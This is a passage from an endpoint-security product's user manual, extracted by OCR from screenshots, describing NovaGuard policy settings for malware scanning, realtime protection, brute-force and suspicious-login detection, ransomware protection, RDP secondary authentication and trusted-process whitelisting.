operating systems by selecting the Windows, Linux, or macOS tab. The
example used in this section illustrates the configuration of security policies for
Windows endpoints, serving as a reference for configuring policies for

endpoints running on other operating systems.

4.6.1.1 Basic Config

On this tab, you can configure the administrator's asset attributes, contact
information, notifications, passwords, and policies for collecting endpoint

behavior data and logs. For details, see the following description.

Asset Attributes

After selecting Require users to provide asset attributes, you can select
asset attributes as needed, including the Department, Asset User, Phone
Number, Email Address, Location, Asset Number, and Staff No., as shown

in the following figure.

| Asset Attributes @

Require users to provide asset atiributes

Item Department Asset User Asset Name Phone Number  Email Address Location Asset Number Staff No.
Display

Required

After the configuration, endpoint users can view the details in system

messages and provide the asset information as required, as shown in the
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following figure.

2 Owner:* | |

Staff No.:

Contact: * | |

Email Address:

P2 Endpoint Name: *

Location:

Asset Number:

IP Address: 10.13.14
MAC Address: FA-16-3E-5D-83-D7
0s: Windows Server 2019 Standard x64

Administrator Contact Information

After selecting Show contact information of administrator on Agent,
endpoint users can view the administrator's contact information, including the

administrator name, mobile number, and email address, as shown in the
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following figure.

| Administrator Contact Information

Show contact information of administrator on Agent (©

Admin Mame : Input Admin Name

Mobile Mumber : Input

Email Address : Input Email Address

The following figure shows how to view the administrator information on an

endpoint.
5 . : ol & e ="
NovaGuard Uptime: 2 days
% Asset
/ ,  Last scan performed 1 Realtime Pr o | .
day ago. o 6 enabled
/‘ Scan Now == Blocks: 17 {last 30 @ Quarantine

E Trust

Events (Last 30 Days)

@ Update

5 AboutUs =

[Z Exit
Ransomware Protection » Speed Up & Free Up Space
Realtime File Protection Ei Dev Environment
¥ Ransomware Honeypot
) Messages 2025.07.18 14:48:53 Virus-infected files were quarantined
Security Engines: i @ B & Quarantine(167) Trusti0) Logs

Notifications (Mute notifications)

After selecting Mute notifications, endpoint users will not be notified when

security issues are detected, as shown in the following figure.

| Notifications &

Mute notifications
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LLNoTE

If the Lock icon is displayed, you cannot modify this option on the NovaGuard agent. If it is

showing an Unlock icon, modification is allowed.

Agent Administration Passwords

You can set Exit Password, Uninstallation Password, and Trust Zone

Password as shown in the following figure.

| Agent Administration Passwords
Exit Password

Password: | .seeues s+ Change Password

Uninstallation Password

Password: | .seeus s Change Password

Trust Zone Password

Password . .eeuas s Change Password

After selecting the Exit Password, an endpoint user is required to enter the

password to exit the NovaGuard agent, as shown in the following figure.

NovaGuard

Lightweight Agent Offers Ultimate Security

Enter the exit password to perform this operation. If you do not know the password, please
contact the admin of Athena EPP Manager.

Cancel
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After selecting the Uninstallation Password, an endpoint user is required to

enter the password to uninstall the NovaGuard agent, as shown in the

@

following figure.

NovaGuard

Ultimate Security in a Lightweight Client

Enter the uninstallation password obtained from ForeMova Endpoint Secure admin

0K Cancel

After selecting the Enable password authentication for "trusted files", an
endpoint user is required to enter the password to add a trusted file. It
prevents unauthorized trust actions, ensuring that endpoints are protected on

NovaGuard.

NovaGuard

Lightweight Agent Offers Ultimate Security

Please enter the secondary authentication password for trusting files. If you forgot the
password, contact the administrator.

Cancel

LLINoTE

Version 02 (Jul. 18, 2025) 205



NovaGuard_V6.0.4R4_User Manual

The Enable password authentication for "trusted files" option is available for Windows

endpoints only.

Advanced Threat Detection and Log Collection

| Advanced Threat Detection and Log Collection

Collect endpoint behavior data, including file, network, registry, DNS, and scheduled task activities.

To use the advanced threat detection and threat hunting features, or report advanced threat alerts and events to NovaXDR or NovaMDR, please enable this option.
Report endpoint behavior data, including file, network, registry, DNS, and scheduled task activities. To report endpoint behavior data to NovaXDR or NovaMDR for analysis, please enable this option.

Collect logs in Event Viewer > Windows Logs > Security on Windows endpoints and report them to NovalDR.

Collect endpoint behavior data, including file, network, registry, DNS, and
scheduled task activities: To use the advanced threat detecion and threat
hunino features,or repot advaned threat alerts and events to NovaXDR or

NovaMDR, please enable this option.

Report endpoint behavior data, including file, network, registry, DNS, and
scheduled task activities: To report endpoint behavior data to NovaXDR or

NovaMDR for analysis, please enable this option.

Collect logs in Event Viewer > Windows Logs > Security on Windows

endpoints and report them to NovaMDR.

4.6.1.2 Anti-Malware

On this tab, you can configure the scheduled scan settings, malware scan

settings, and antivirus database engine settings.

Scheduled Scan

You can configure scheduled scan settings so that virus scans can be
performed on endpoints in the internal network as scheduled, as shown in the

following figure.

| Scheduled Scan

Enable scheduled scanning

Add Task

No. (@ Task Type Scan Mode = Schedule Start Time End Time Continuous Scan (1) Status Operation

Scheduled scans can be performed in two ways: Quick Scan and Full Scan,
each offering three CPU usage options: High CPU, Adaptive, and Low CPU, as

described below:
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e High CPU: Scanning consumes the most CPU resources, but the scan speed

is the fastest.

o Adaptive: Dynamically adjusts CPU resources based on the CPU usage. It
optimizes the scan speed by leveraging ample CPU resources when the CPU
usage is low and minimizing resource consumption when the CPU usage is

high, thus ensuring smooth service operations.

e Low CPU: Scanning consumes no more than 10% of CPU resources, but the

scan speed is the slowest.

In addition, when you add a scheduled scan task for a Windows endpoint, you
can choose to enable Continuous Scan as needed. For example, you have
enabled Continuous Scan for a full scan task that is scheduled to run every
day from 23:00 to 07:00 the next day. In this case, if the full scan task is not

completed in the current cycle, the full scan task will resume in the next cycle

until it is completed.

Malware Scan

You can configure settings such as the file types, scan options, actions required

for malicious files, detection modes, and CPU usage, as shown in the following
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figure.

General Policies

Groups Basic Config  Anfi-Malware  Realtime Protection  Ant-Ransomware  TrustList — General Settings VUl Remediation  Endpoint Control  Customization  Endpoint Risk At

22 windows & Linux
B Al Endpoints Seheduls TaskType CPU Usage Status Operation

Bk Local Manager
Ungroauped Endpains | Maware Scan &
Dornain cortrol synchronizaton File Type. Document [ Script {2 Executable @ [ Compressed ® | LowRisk ®
groupt Scan Options: Skip files largerthan 50 Mg

serond Scan compressed fies upto 3 layers deep

Portable Device Scan: [ Auto silent scan afler a portable storage device s inserted and give the scan results to endpoint users @

Action @ Auto Fix- Business Continuiy First (only fix confirmed threats)

Auto Fix- Security First (i les that are considered as threats)

No Action - Report Only (only tetet fles)

Engines Leam More

INoTE

If the Lock icon is displayed, you cannot modify the settings on the NovaGuard agent. If the

Unlock icon is displayed, modification is allowed.

File Type: Available options include Document, Script, Executable,

Compressed, and Low Risk.

L INoTE

1. A total of 23 compressed file extensions are supported, including 7z, XZ, BZIP2, GZIP, TAR,

ZIP, and WIM. For details, click the © icon.

2. Selecting the Low Risk option is not recommended because these files are identified as
posing an extremely minimal threat after analysis. Filtering out low-risk files can improve the
scan speed and reduce the memory usage of ForeNova Engine Zero. Low-risk file types

include the following 42 types:
vmdk, .iso, .lib, .a, .nsf, .pdb, .dmp, .db, .hdmp, .idb, .pch, .vdf, .pak, .evtx, .imd, .aac, .webm, .
ntf, .cvd, .mof, .mdf, .mdb, .otf, .tlb, .jpg, .jfif, .jpeg, .jpe, .jp2, .png, .gif, .bmp, .mp3, .mp4, .m4

a, .mkv, .wmv, .wma, .tif, .tiff, .flv, and .ogg

Scan Options: You can specify the maximum file size and supported

compressed file layers for scanning.

Portable Device Scan: You can initiate a silent scan when a portable device
such as a USB flash drive, portable hard disk, mobile phone, or digital camera
is connected to an endpoint. The endpoint user will receive the scan results

once the scan is complete.
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Action: You can specify the response to a detected malicious file. Select
between Auto Fix - Business Continuity First, Auto Fix - Security First, and
No Action - Report Only. The default action is Auto Fix - Business Continuity

First.

eAuto Fix - Business Continuity First: Automatically fix or quarantine
confirmed malicious files based on the default virus detection settings; do not
automatically fix or quarantine suspicious files, but report them to the
NovaGuard manager, allowing endpoint users to fix them.

e Auto Fix - Security First: Automatically fix or quarantine all malicious files and
allow endpoint users to manually restore files from the Quarantine area. This
option is suitable for scenarios with enhanced protection requirements.

«No Action - Report Only: Report malicious files to the NovaGuard manager,
but do not automatically fix or quarantine them. This option suits scenarios

where an on-duty security professional is responsible for fixing threats.

Detection Mode: Three detection modes are supported, including Standard
(Recommended), Low Resource Consumption, and High Detection Rate.
Select a mode that aligns with your business scenario, as shown in the

following figure.
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Detection Modes
Detection Mode

Standard

Low Resource Consumption

High Detection Rate

Detection Engines

Engine Zero

Gene Analysis Engine

Behavioral Analysis Engine

Cloud-Based Engine

address).

Memory Usage

High

Low

High

Detection Rate

Medium

Low

High

False Positive Rate

Low

Low

High

Uses Al and powerful generalization capabilities to detect unknown viruses and variants of known viruses.

Effective at detecting unknown virus variants by running them in virtual environments.

Auto Fixing Rate

High

High

Medium

Extracts gene characteristics of virus families of hot events in depth to detect viruses more accurately. If enabled, it will use about
200 MB of memory. (© Bitdefender 1997-2025)

Uses cloud-based capabilities to check unknown files based on indicators of compromise (such as file hash, DNS, URL, and IP

LLINoOTE

1. In the High Detection Rate mode, false positives will be higher than other modes.

Therefore, do not select this mode before a thorough assessment is carried out.

CPU Usage: If Restrict is selected, the CPU usage for NovaGuard is minimized.

It may result in a longer virus scan duration. It applies to scenarios involving

endpoints with legacy systems, virtual desktops, and overloaded systems.

CPU Usage Restrict (@

LLINoTE

When Restrict is selected, the CPU usage of NovaGuard varies in different virus scan

modes:
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1. High CPU: Consumes no more than 50% of CPU resources.

2. Low CPU: Consumes no more than 5% of CPU resources.

Antivirus Database Engine

You can specify the antivirus database engine setting as Update via Manager
or Update via update servers. If Update via update servers is selected, you
can configure multiple update servers (including the NovaGuard manager), as
shown in the following figure.

| Antivirus Database Engine ®

Update via Manager

(®) Update via update servers

No Server IP Address Remarks OCperation
1 - This Manager Down
2 http://download.sangfor.com/download...  Sangfor Signature S...  Up

In the Operation column, you can click Up or Down to adjust the order of the

update servers for the antivirus database.

4.6.1.3 Realtime Protection

On this tab, you can configure settings such as Auto-Fix of High Confidence
Events, Realtime File Protection, Hacktool Protection, WebShell Detection,
Brute-Force Attack Detection, Suspicious Login Detection, and Fileless

Attack Protection.

INoTE

You can % click the icon on the right of a setting to lock it and prevent it from being

modified on the NovaGuard agent.

Auto-Fix of High Confidence Events
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This feature can automatically analyze and fix advanced threats, skip core
processes and business processes of the operating system, and automatically

terminate processes of events identified as threats.

| Auto-Fix High Confidence Events ®

Enable auto-fix of phishing attacks

Realtime File Protection

You can enable real-time file protection to monitor the read, write, and
execution actions on files within an endpoint. It can prevent the impact of

malicious files on the endpoint, as shown in the following figure.

| Realtime File Protection &
Enatle realiime fle protection
Protection Level: — pigh
(@ Medium
Low

File Type: Docurnent Seript Evecutable Cormpressed @ LowRisk @
StanOptions:  Skipfleslargerthan 50 MB
Sean compressedfiles upto 3 layers deep

Engines Learn More

® LowResource Usage  Low False Fositives  Stict Profection  Custom

Action: Auto Fix- Business Continuity First (only fix confirmed threats)
Allto Fix- Security Firet (i les that are considered a3 threats)

(® No Astion - Report Only {only detect files)

Relevant parameters are described as follows:

Protection Level: Three protection levels are available against malicious files,

with the following differences:

e High: Monitor all file actions (higher impact on system performance).

e Medium: Monitor execution and write actions on files, and prevent virus
intrusion and execution (lower impact on system performance).

e Low: Monitor file execution and prevent virus execution (no impact on system
performance).

File Type: Available options include Document, Script, Executable,

Compressed, and Low Risk.
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LlNoTE

1. A total of 23 compressed file extensions are supported, including 7z, XZ, BZIP2, GZIP, TAR,

ZIP, and WIM. For details, click the @ icon.

2. The Low Risk option is not recommended because these files are identified as posing an
extremely minimal threat after analysis. Filtering out low-risk files can improve the scan
speed and reduce the memory usage of ForeNova Engine Zero. Low-risk file types include

the following 42 types:
.vmdk, .iso, .lib, .a, .nsf, .pdb, .dmp, .db, .hdmp, .idb, .pch, .vdf, .pak, .evtx, .imd, .aac, .webm, .
ntf, .cvd, .mof, .mdf, .mdb, .otf, .tlb, .jpg, .jfif, .jpeg, .jpe, .jp2, .png, .gif, .bmp, .mp3, .mp4, .m4

a, .mkv, .wmyv, .wma, .tif, .tiff, .flv, and .ogg

Scan Options: You can specify the maximum file size and supported

compressed file layers for scanning. In most cases, malicious files are small.

Detection Mode: Two detection modes are supported, including Low
Resource Consumption (Recommended) and Standard. Select a mode that

aligns with your business scenario, as shown in the following figure.

Detection Mode Memory Usage Detection Rate False Positive Rate Auto Fixing Rate
Low Resource Consumption Low Medium-Low Low High
Standard High Medium Low High

Action: You can specify the response to a detected malicious file. Select
between Auto Fix - Business Continuity First, Auto Fix - Security First, and
No Action - Report Only. The default action is Auto Fix - Business Continuity

First.

e Auto Fix - Business Continuity First: Automatically fix or quarantine
confirmed malicious files based on the default virus detection settings; do not
automatically fix or quarantine suspicious files, but report them to the
NovaGuard manager, allowing endpoint users to fix them.

e Auto Fix - Security First: Automatically fix or quarantine all malicious files
and allow endpoint users to manually restore files from the Quarantine area.

This option is suitable for scenarios with enhanced protection requirements.
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e No Action - Report Only: Report malicious files to the NovaGuard manager,
but do not automatically fix or quarantine them. This option suits scenarios

where an on-duty security professional is responsible for fixing threats.

Hacktool Protection

This feature can effectively block the defense evasion tactics that hackers
employ during ransomware attacks, protecting endpoint users from

ransomware.

| Hacktool Protection

Block suspicious drivers (@

Schedule ; ; - to *  (hext day)

Block hacktools @

eBlock suspicious drivers: Give alerts and block suspicious drivers' loading,
running, and other behaviors during the specified scheduled period.
eBlock hacktools: Give alerts and block the loading, running, and other

behaviors of untrusted drivers and hacktools.

WebShell Detection

When this feature is enabled, you can specify a scan method and the action for

detected web shells, as shown in the following figure.

| WwehShell Detection S

Enable WebShell detection

©

Scan Method

Action:

el Directory: Flease configure via Policies = Detection Policies WehShell Det Directories

Relevant parameters are described as follows:
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Scan Method: Available options include One-time, Realtime, and Scheduled.

e One-time: Scan the root directory and its subdirectories upon the first
installation of the NovaGuard agent on an endpoint.

e Realtime: Scan new files on an endpoint in real time.

e Scheduled: Scan all files on an endpoint as scheduled.

Action: You can specify the action for detected web shells. Supported options

include Auto Fix and No Action - Report Only.

Web Directory: You can configure the web shell detection directory, and it will

be scanned by default. You can also specify a custom directory.

[ INoTE

Web shell detection is available for Windows Server and Linux endpoints.

Brute-Force Attack Detection

This feature detects and blocks RDP, SMB, Microsoft SQL Server, and SSH
brute-force attacks. You can enable RDP, SMB, and Microsoft SQL Server brute-
force attack protection for Windows endpoints and SSH brute-force attack

protection for Linux endpoints.
Settings for Windows endpoints are shown in the following figure.

| Brute-Force Attack Detection

Enable

Enahle RDF hrute-force attack protection

Trigger: Over 15 @
Action Ma Action - Repart Only (®) Blockfor - 30rming -
Enable SMB hrute-force attack protection

Trigger: Crver @

Action :

Enable MSS0L hrute-force attack protection

Trigger : Qver &0 @

Actian (®) Mo Action - Repart Only Blockfor  30mins =

Flease enable successful login auditing on the MESQL application, or successful brute-force attacks cannot be audited.
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Relevant parameters are described as follows:

e Trigger: You can specify the threshold for identifying a quick brute-force attack.
A brute-force attack is identified as a quick attack if the number of its
consecutive attempts exceeds the specified value within a minute. For RDP and
SMB quick brute-force attacks, you can specify an integer in the range of 1 to
100 and an integer in the range of 20 to 1,000, respectively. Slow and
distributed brute-force attacks are identified based on an intelligent algorithm.

e Action: For identified attacks, select No Action - Report Only or Block for

specific minutes.

LLNoTE

Enable successful login auditing on the Microsoft SQL Server application or successful brute-

force attacks cannot be audited.

Settings for Linux endpoints are shown in the following figure.

| Brute-Force Attack Detection

Enahle

Enable S5H brute-force attack protection
Trigger : Owver 15 @

Action Mo Action - Report Only (®) Blockfor  30rmins -

Relevant parameters are described as follows:

e Trigger: You can specify the threshold for identifying a quick brute-force attack.
A brute-force attack is identified as a quick attack if the number of consecutive
attempts exceeds the specified value within a minute. You can specify an
integer from 1 to 100 for SSH quick brute-force attacks. Slow and distributed
brute-force attacks are identified based on an intelligent algorithm.

e Action: For identified attacks, select No Action - Report Only or Block for

specific minutes.

Suspicious Login Detection
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NovaGuard can detect and automatically block logins at an unusual time or from

uncommon IP addresses.

NovaGuard can detect suspicious logins on Windows endpoints (including PCs)

via RDP and SMB and those on Linux endpoints via SSH.

| Suspicious Login Detection

Give alerts for login from unusual login IP addresses

Cammaon Login IP Addresses Qperation

Action far Login from Unusual IP Addres. ..

Give alerts for login at unusual time @
Specify cormmon login tirme period

Cammaon Login Time Feriod Operation

Action far Login at Unusual Time

Fileless Attack Protection

A fileless attack is an advanced technique employed by attackers to exploit
vulnerable applications to inject code into the memory and normal system
processes, such as the registry, PowerShell scripts, and Microsoft Office
documents, aiming to gain access permissions and execute attack commands
on target devices. Fileless attack protection enables the detection and handling

of suspicious PowerShell scripts. The settings for this feature are shown in the
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figure below:

| Fileless Attack Protection & @

Enahle suspicious PowerShell script detection (0
Artian: Block script execution

(®) Mo Action - Alert Only

Relevant parameters are described as follows:

Enable suspicious PowerShell script detection: This option takes effect only

when Realtime File Protection is enabled.

Action: Available options include Block script execution and No Action -

Alert Only (recommended). When suspicious PowerShell scripts are detected:

e For PCs, NovaGuard generates alerts and suspends the scripts. Endpoint users
can then allow or block the scripts.
e For servers, NovaGuard generates alerts but does not suspend the scripts.

Endpoint users can determine whether to block or ignore the scripts.
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The following alert is generated when a suspicious script is detected.

Su_sEicious PowerShell script detected.
lock if you do not recognize it.

Virus and Trojan often avoid
detection by using PowerShell
scripts.

powershell.exe

powershell.exe start-proess caldCopy

CA\Windows
\System32\WindowsPowerShell
\v1.0\powershell.exe Copy

2025.07.15 1515

Status Pending

€
| Ignore (26s) Block

| | Remember and do not show this again

4.6.1.4 Anti-Ransomware

On this tab, you can configure policy settings for ransomware honeypot, RDP

secondary authentication, and trusted processes.

Ransomware Protection

When Ransomware Protection is enabled, the NovaGuard agent promptly
generates alerts and blocks any encryption behavior involving decoy files
placed in crucial system directories on an endpoint. This proactive response is
triggered upon detecting ransomware on the endpoint, effectively preventing
the encryption of any business files. In addition, when a suspicious encryption
process is detected, NovaGuard backs up certain file modifications or deletion
operations performed by the process in real time and detects the encryption of

certain files after the ransomware is already running. Finally, in scenarios
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where ransomware successfully bypasses the current virus detection policies,
this feature enables you to restore the endpoint based on the snapshot using
Windows VSS in time, thereby minimizing the impact of encryption on business
operations and contributing to establishing a comprehensive security

protection system.

Settings for this feature are shown in the following figure.

| Ransomware Protection &

Enable ransormware honeypot @
Action Auto Fix

(®) Alert- Fix Manually
Enable ransomware backup @
Aclion Remave and quarantine the encrypted files
File Restoration Enable password authentication for "encrypted file restoration”

Password oo s Change Pagsword

Backup Repository  Single File Size Limit. | 50 1)
Total Backup Size Limit 2000 MB
Enable snapshot-hased ransamware recovery @
Backup Repository  Max Ratio of Tolal Backup Size o Digk Space 10 %

Relevant parameters are described as follows:

e Enable ransomware honeypot: This option takes effect only when Realtime
File Protection is enabled.
e Action: Alert - Fix Manually is recommended. When ransomware is detected

on an endpoint, an alert will be displayed in the lower right corner of the screen.
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Malicious file detected.

Virus Name Ransom.Win32.BlackRa...

Virus Type  Ransomware File

File Path c\users\sangfor
\down...032594e1e0aa32ebcd08
23043ca%fe9.exe Copy

Publisher UnderGorund

Time 2025.07.17 09:56

Infected

Status Pending

Ignore (25s)
Remediate Trust
l Remember and remind me 30 minutes later

Enable ransomware backup: This option is available only when the

ransomware honeypot is enabled.

You can select Remove and quarantine the encrypted files to specify it as
the action to take when ransomware is detected. If you uncheck the box, no

action will be taken for the encrypted files.

You can select Enable password authentication for "encrypted file

restoration".

You can configure the following settings of the Backup Repository:

a) Single file size limit: Enter an integer from 1 to 100. The default size
limit is 50 MB.
b) Total backup size limit: Enter an integer in the range of 1,000 to

10,000. The default size limit is 2,000 MB.
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Endpoint users can restore encrypted files on the NovaGuard agent.

) Settings
(@) Virus Scan Ransomware Honeypot
[R, System Protection *

Auto Fix
f# General Settings @ No Action - Report Only

0] “d"'a“,m g Ransomware Backup
7 Protection

Back up and restore files encrypted or system backups corrupted by ransomware.
Restore Encrypted Files

@ Network Protection*

# Notification

) Others
& Proxy
Apply Finish
) Restore Encrypted Files X

Files will be deleted if the backup repository does not have enough space. Please restore important files promptly.
© Original Location

Specified |

To Be Restored 4

File Size Status Time Quarantined Operation

LINoTE

Ransomware honeypot and backup are available for endpoints running on Windows PCs
and Windows Server, and snapshot-based ransomware recovery is available for endpoints

running on versions later than Windows Server 2003.

RDP Secondary Authentication

An RDP or SSH brute-force login is one of the common attack vectors, and it is

recommended that this feature be enabled.
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LlNoTE

This feature is available for Windows Server and Linux endpoints.

Secondary Authentication

To prevent hackers from accessing a server via RDP and quickly obtaining

server permissions, you can enable secondary authentication for RDP access.

Settings for Windows endpoints are shown in the following figure.

I Secondary Authentication
Enable &)

Authentication Reguirement

Secondary Authentication Password

6]

Schedule

Time Periods

Mon - Sun 00:00-24:00

Wihitelist @

Excluded IP Address

Operation

Cperation
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Settings for Linux endpoints are shown in the following figure.
i5 windows & Linusx

| Secondary Authentication
B Enable 0

1. Once it iz enabled, keyboard-interactive authentication is required. Some endpoints installed with S5H tools may
not support auto login with keyvbosrd-interactive. Therefore, you need to add parameters. Example: For Mobaterm,
you can use the following command for login:

=sh -0 Preferrediuthentications=keyhoard-interactive userife oo o x

Please replace 'user' with vour username, and replace oo oo o with the IP address of the target endpoint.
2. The S5H service on the target endpoint will restart if vou enable or dizable secondary authentication. Pleasze
check whether the S5H service works properly after the operation and use S5H to log in to the endpaint.

Authentication Reguirement

Required for Remote Access

Secondary Authentication Passwoard
Default Pasaward (&) Custom Password

[TTTTTITTY st | Chanoe Password

Please inform internal personnel of the custom password, The text below is for reference:

For server security, secondary authentication is required for S5H Access during certain periods. Remate login during the

period Mo - Sun 00:00-24:00 will reguire the following password: #s Copy

Message For security reasons, please enter the secondary authentication pazsword. If you have any guestions, please cor
Schedule
(®) Recurring once

Man v |t Fri v 21:00 * to oroo v “

Time Periods Operation

bdon - Sun 00:00-24:00 Delete
Wohitelist (0

Excluded IP &ddress Operation

Mone

Restore Defauts

Suppose secondary authentication for RDP access is enabled, and a hacker

successfully accesses a server via RDP access. In that case, NovaGuard will lock
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the screen to protect the server, as shown in the following figure.

RDP secondary authentication is protecting the host from attacks and ransomware.
Please enter the custom password.

How to obtain password?

(J Remember me for 7 days

The hacker can obtain server permissions only after completing the secondary

authentication process. It effectively ensures server security. It is

recommended to enable secondary authentication.

Secondary Authentication for Trusting Files

To prevent hackers from infiltrating the NovaGuard trust list with malicious
files and planting ransomware, you can enable secondary authentication for

trusting files.

When a hacker successfully logs in to a server protected by NovaGuard and
attempts to plant ransomware, the ransomware execution will fail as the file is
not trusted. Nevertheless, if the hacker manages to include the ransomware in
the trust list, the hacker can launch ransomware attacks successfully. If
secondary authentication for trusting files is enabled, the hacker must

complete the secondary authentication process to execute the file.
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@ Trust
Files(1) Paths(0)
Trusted files will not} @
NovaGuard
© Add flf Untr Lightweight Agent Offers Ultimate Security
Files

c\users\sat

Please enter the secondary authentication password for trusting files. If you forgot the
password, contact the administrator.

Cancel

LLINOTE

This feature is available for Windows and Linux endpoints.

Secondary Authentication Password

1. Default Password

The default password is the last six digits of the administrator's mobile
number. For instance, if the administrator's mobile number is 15258227998,
the default password is 227998. To configure the administrator's contact

information, go to Policies > Basic Config, as shown in the following figure.

| Administrator Contact Information

Showy contact information of administrator on Agent (5

Admin Mame :
hakile Mumber ;

Email &ddress

LLINoTE

The default password is recommended, provided the administrator's mobile number is

correctly configured. To obtain the mobile number, the server O&M administrator can check

the company contact list or the NovaGuard information.
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4.6.1

2. Custom Password

After Custom Password is selected and a custom password is configured, the
server O&M administrator cannot access the server remotely if the
administrator does not know the password. To avoid such remote access
failures during critical business periods, it is recommended to inform the

administrator of the custom password as soon as possible.

Schedule

You can specify the time during which RDP secondary authentication is

applied. By default, secondary authentication is applied at all times.

Whitelist

RDP secondary authentication is not required for remote access to the server
from IP addresses in the whitelist during critical business periods. For trusted
endpoints that attempt to access the server, you can add their IP addresses to

the whitelist.

Trusted Processes

This feature protects the server system or specific directories on the server.
When enabled, it allows only trusted processes to run, read, and write. You can

also enable RDP access protection.

4.1 Scenario 1: Protect the System

Protect stable systems by preventing untrusted processes (such as unknown

ransomware and other viruses) from running, ensuring security.
Procedure:
Step 1. Perform a virus scan.

Perform a virus scan on the endpoint to ensure the operating environment is

secure.

Step 2. Enable process learning.
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Check Enable trusted process whitelist and select OS as Protected Objects.
Specify a time ranging from 1 day to 30 days for process learning and click

Save, as shown in the following figure.

| Trusted Processes Guide

[ Enable trusted process whitelist

Endpoint Type: 24 Server
Profected Objects 03 () Specitied Directory {protect ertical diectories from ransomware)

Mo Protecteci Diectory Operetion

L) Delete

Trusted Pracesses () i 2, Confim processes 3. Apply

There re 1 trusted process(es) Leamn Again

Export Process Type T oAddM. Y Stetus 7
No,  Process Process Typs Original Process Pat Coppright AdeMethod  Stalus Operation
1 SBlestproc.  FrocessWihou Sonstue . - ThirkSoft..  Manuel Add Delete Detsils

Prohibt Untrusted vist Moification

Pracess fram:

Aetior: ® Block operation Block operation an terminate process.

After the learning is complete, you can check the learned processes on this
page and review the status of each process, including whether a process is
flagged as suspicious or lacks a digital signature. This information can be a

reference for confirming trusted processes in the next step.
Step 3. Confirm trusted processes.

After the learning, you need to confirm trusted processes. By analyzing the
results of process learning, you can remove untrusted processes and add

trusted processes that were not learned, as shown below.

| Trusted Processes cuide

Enable trusted pracess whielist

Protected Ofjects @ 05 (protect operating systems from urknown ransomware) Specified Dirsctory
5 P

eProcess Type: NovaGuard identifies a process as a suspicious or system
process.

¢ Original Process Path: The path where the process file was initially reported.

¢ Add Method: The method for adding the process, including Learning, Manual
Add, and Template.
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e Status: The current status of the process. Unconfirmed means the process
has not been confirmed as trusted.

e Operation: You can delete, view process details, or analyze the process.

Note:

1. If you find a trusted process not in the learning results, click New to add it.

The page for adding a process is shown in the following figure.

New X

Lo Method ; (®) Import template
Upload process file
Add process file manually

Trusted Processes :

| WWeb Server

Lpache gin: Tomcat WebSphere
| Database

my 0L SaL Server Oracle

Add Method: Three methods are available for adding a process: Import

template, Upload process file, and Add process file manually.

o Import template: Applicable to scenarios where the endpoint that needs to
be strengthened are the web servers or database servers provided in the
template.

e Upload process file: Upload a trusted process file to the endpoint.

e Add process file manually: Collect the process name, original file name, and

copyright of the trusted process, then manually enter the information.

After confirming the information, click OK to complete the setting.

Step 4. Apply trusted processes.

Click Save. You can find that endpoint protection is in effect, showing Valid.
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| Trusted Processes Guide

Enable trusted process whitel:
Endpoint Type PC Server
Protected Objects : (®) OS5 tpratect operating systems from urknown ransomeare) Specified Directary

Tristed Processes 2. Canfim processes

@ You may delete suspiciaus processes o add cther trusted processes after leaming. Click Canfirto confinm trusted processes. Cartinuz
Delete Export Process Type T BddM. Y Status v
No.  Process Process Type - Original Frocess Path Copyright AddMethod  Status Operation
1 hipdexe Copyright... Templete Delete Detais

4.6.1.4.2 Scenario 2: Protect the Specified Directories

Protect critical endpoint directories and files from unauthorized access and

modification.

Procedure:
Step 1. Perform an endpoint virus scan.

Perform a virus scan on the endpoint to ensure the operating environment is

secure.
Step 2. Add directories.

Check Enable trusted process whitelist and select Specified Directory as
Protected Objects. Manually add critical directories of the endpoint.

Directories with a wildcard (*) or an environment variable are supported.

| Trusted Processes cuide

Enable truster process whtstct ({1

Endpoirt Type: PC Server

Protected Objects 05 (&) Specified Directory forotect critical directories from ransomware]

No.  Protected Directory

peration
1 cna Delete
Trusted Processes (D 1. Leam pracesses
oleamfor 7 day(s). Cick Savetostart isarnin and the system wil collect processes running on servers during the period
QQ Refresh Process Type
No.  Process Process Type - otiginal Process Peth Copyright AciMethod  Stetus Operstion
1 SStestprec..  Processiithout Snsturs . - ThirkSoft..  Menusl Add i Detaits
3 nitpdexe Copyright...  Tempiste W oewis

Step 3. Enable process learning and confirm trusted processes.

For details about the configurations, see Chapter 3.5.1.4 Scenario 1: Protect

the server system for references.
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You can specify the action to take when an untrusted process is detected.

Prohibit Untrusted “isit Modification
Process from:

Action: () Block operation Block operation and terminste process

¢ Prohibit Untrusted Process from: Untrusted processes cannot delete or
modify protected directories. You can specify whether their access to protected
directories is allowed.

e Action: You can specify whether to block process operations or block process
operations and terminate an untrusted process when the untrusted process

performs operations on protected directories.

4.6.1.5 Trust List

This policy covers the Brute-Force Protection IP Whitelist and PowerShell

Parameter Whitelist.

Brute-Force Protection IP Whitelist

Source IP addresses for brute-force attacks can be added to the whitelist on
Windows or Linux endpoints. When false positive brute-force attacks are
detected, you can add the source IP addresses to the whitelist. Then, IP
addresses in the whitelist are allowed without triggering an alert.

== Wincows ,_'_\. Lirwes

| Trust List
Brute-Force Protection IPwWhitelist &

Excluded P Address Operation

You can specify IP addresses, IP address ranges, or subnets for the Brute-Force
Protection IP Whitelist. When false positive brute-force attacks are detected,
you can add the source IP addresses to this whitelist. Then, IP addresses in the

whitelist are allowed without triggering an alert.
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PowerShell Parameter Whitelist

When O&M scripts written with PowerShell commands are detected, it is

important to add the corresponding PowerShell parameters to the whitelist, as

shown in the following figure.

| PowerShell Parameter Whitelist @

Startup ChiD

WindowsisystemI2WindovesPovver Shelly 1 Dhodules SmbShare'Dis ...

-ExecutionPolicy Restricted -Command Vyrite-Host 'Final result: 1'

‘Window s\ vUAAgentinstBaseRoot public

—command "(get-appxpackage -Name 'BIECEDEF ASUSPCAzsistant'). .

ProgramDatan A SUSASUE System Control Interfaceilog

203 entries l 2 3 4 El B T g

It ensures that false positives do not affect business operations.

Description

Windowes 10 parameter

Windowes 10 parameter

Leag=oft parameter

ASUS PC parameter

ASUE PC parameter

Cperation

Delete

Delete

Delete

Delete

Delete

2 > ®»  Entries per Page | 10 -

Whitelist PowerShell parameters: When detected, PowerShell parameters

listed in the whitelist are allowed to run. Partial string match is supported. For

instance, the parameter powershell -ExecutionPolicy Restricted -Command

Write-Host 'Final result:1' can be matched by full name or keywords, such as

Command Write-Host 'Final result:1'.

LlNoTE

It is recommended to enter parameters longer than 10 characters to avoid protection being

bypassed by attackers.

4.6.1.6 General Settings

On this tab, you can configure general settings for the following aspects:

Intelligent Identification of Development Environment, Quarantine
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Management, Agent Bypass, and Agent Performance Protection.

Basic Config Anti-Malware Realtime Protection Anti-Ransomware Trust List General Settings Vuln Remediation Endpoint Control Customization

A Lnux

